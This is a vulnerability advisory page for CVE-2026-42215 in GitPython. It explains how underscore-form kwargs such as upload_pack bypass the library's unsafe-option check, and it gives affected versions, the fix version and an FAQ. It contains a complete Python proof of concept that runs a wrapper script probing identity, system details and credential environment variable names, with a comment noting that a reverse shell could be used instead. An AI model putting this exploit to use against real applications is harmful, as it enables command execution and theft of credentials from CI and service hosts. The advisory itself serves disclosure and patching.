CVE-2026-42215: GitPython: Command injection via Git options bypass

Published Apr 25, 2026
·
Updated

Summary GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs uploadpack and receivepack bypass that check. If an application passes attacker-controlled kwargs into Repo.clonefrom(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allowunsafeoptions is left at its default value of False.

Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

- git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe. - git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

- Repo.clonefrom() checks list(kwargs.keys()) in git/repo/base.py:1387-1390 - Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071 - Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125 - Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.checkunsafeoptions() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transformkwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

- uploadpack=... becomes --upload-pack=... - receivepack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

- remote.fetch({"upload-pack": helper}) is blocked with UnsafeOptionError - remote.fetch(uploadpack=helper) is allowed and reaches helper execution

The same bypass works for:

python Repo.clonefrom(origin, out, uploadpack=helper) repo.remote("origin").fetch(uploadpack=helper) repo.remote("origin").pull(uploadpack=helper) repo.remote("origin").push(receivepack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

- test/testclone.py:129-136 checks {"upload-pack": ...} - test/testremote.py:830-833 checks {"upload-pack": ...} - test/testremote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC 1. Create and activate a virtual environment in the repository root:

bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate

2. make a new python file and put the following in there, then run it:

python import os import stat import subprocess import tempfile

from git import Repo from git.exc import UnsafeOptionError

Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh")

Setup: this wrapper is just to demo things you can do, not required for the exploit to work you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "codeexec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSHAUTHSOCK|CI|GITHUBTOKEN|AWS|AZURE|GOOGLE)=' | sed 's/=.$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.SIRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f: f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim) remote = repo.remote("origin")

the literal Git option name is properly blocked. try: remote.fetch({"upload-pack": wrapper}) print("control=unexpectedsuccess") except UnsafeOptionError: print("control=blocked")

this is the actual vulnerability you can also just do uploadpack="touch /tmp/proof", the wrapper is just to show greater impact if you do the "touch /tmp/proof" the script will crash, but the file will have been created remote.fetch(uploadpack=wrapper)

Proof: the helper ran as the GitPython host process. print("proofexists", os.path.exists(proof), proof) print(open(proof).read())

3. Expected result:

- The script prints control=blocked - The script prints proofexists True ... - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

bash GitPython % python3 test.py control=blocked proofexists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt codeexec=1 whoami=uid=501(wes) gid=20(staff) <redacted> cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted> argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git> USER=<redacted> SSHAUTHSOCK=<redacted> PATH=<redacted> HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with kwargs - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

- A value that becomes uploadpack or receivepack in the kwargs passed to Repo.clonefrom(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Other sources

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs uploadpack and receivepack bypass that check. If an application passes attacker-controlled kwargs into Repo.clonefrom(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allowunsafeoptions is left at its default value of False. This issue has been patched in version 3.1.47.

MITRE

Affected Software

4 affected componentsFixes available
pypi/GitPython>=3.1.30<3.1.47
pip/GitPython>=3.1.30<3.1.47
3.1.47
Gitpython Project Gitpython Python>=3.1.30<3.1.47
debian/python-git<=3.1.14-1, <=3.1.14-1+deb11u1, <=3.1.30-1+deb12u2, <=3.1.44-1
3.1.50-1

Event History

Apr 25, 2026
Advisory Published
via GitHub·11:42 PM
Data Sourced
via GitHub·11:42 PM
DescriptionSeverityWeaknessAffected Software
May 7, 2026
CVE Published
via MITRE·06:17 PM
Data Sourced
via MITRE·06:17 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
May 28, 2026
Data Sourced
via Ubuntu·02:11 AM
RemedyDescriptionSeverityAffected Software
Data Sourced
via Launchpad·02:12 AM
Description
Data Sourced
via Debian·02:12 AM
DescriptionAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-42215?

CVE-2026-42215 has been assessed as a high severity vulnerability due to the potential for command injection via Git options.

2

How do I fix CVE-2026-42215?

To fix CVE-2026-42215, upgrade GitPython to version 3.1.47 or later.

3

Which versions of GitPython are affected by CVE-2026-42215?

GitPython versions from 3.1.30 to before 3.1.47 are affected by CVE-2026-42215.

4

What type of vulnerability is CVE-2026-42215?

CVE-2026-42215 is classified as a command injection vulnerability targeting the GitPython library.

5

Can CVE-2026-42215 be exploited remotely?

Yes, CVE-2026-42215 can be exploited remotely if an attacker can influence the Git options passed to GitPython.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203